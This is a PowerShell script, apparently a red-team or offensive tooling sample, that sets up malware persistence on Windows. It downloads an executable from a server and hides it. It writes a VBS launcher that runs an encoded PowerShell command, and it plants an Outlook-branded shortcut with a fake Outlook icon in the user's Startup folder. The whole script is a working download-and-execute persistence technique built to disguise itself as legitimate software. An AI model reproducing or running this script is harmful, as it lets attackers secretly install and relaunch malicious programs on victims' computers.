Script to create a .lnk file in Startup Folder with custom icon. It calls a .vbs file with a powershell encoded command which calls a .exe file

set_startuppersistence.ps1

$Url = "http://127.0.0.1:8080"
$Dir="C:\ProgramData\Outlook"
$ExeFile = "notmalicious.exe"
$VbsFile = "CheckUpdate.vbs"
$LnkFile = "Outlook.lnk"
$IcoFile = "microsoft-outlook.ico"

## Create directory
echo "Creating directory $Dir"
mkdir $Dir

## Download and hide .exe
wget $Url/$ExeFile -Outfile $Dir\$ExeFile
attrib +h $Dir\$ExeFile
cmd /c "dir $Dir"
cmd /c "dir /a $Dir"

## Create .vbs
$B64Path = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Dir+"/"+$ExeFile))
echo $B64Path
cmd /c "echo Set objShell = WScript.CreateObject(""WScript.Shell"") > ""$Dir\$VbsFile"""
cmd /c "echo objShell.Run(""powershell -e $B64Path""), 0, True >> ""$Dir\$VbsFile"""

## Download .ico and create .lnk
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($env:USERPROFILE)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$LnkFile")
wget $Url/$IcoFile -Outfile $Dir\$IcoFile
$Shortcut.TargetPath = "$Dir\$VbsFile"
$Shortcut.IconLocation = "$Dir\$IcoFile"
$Shortcut.Save()

## Hide .vbs and .ico
attrib +h "$Dir\$VbsFile"
attrib +h $Dir\$IcoFile
cmd /c "dir ""$Dir"""
cmd /c "dir /a ""$Dir"""
type "$Dir\$VbsFile"
cmd /c "dir /a ""$($env:USERPROFILE)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"""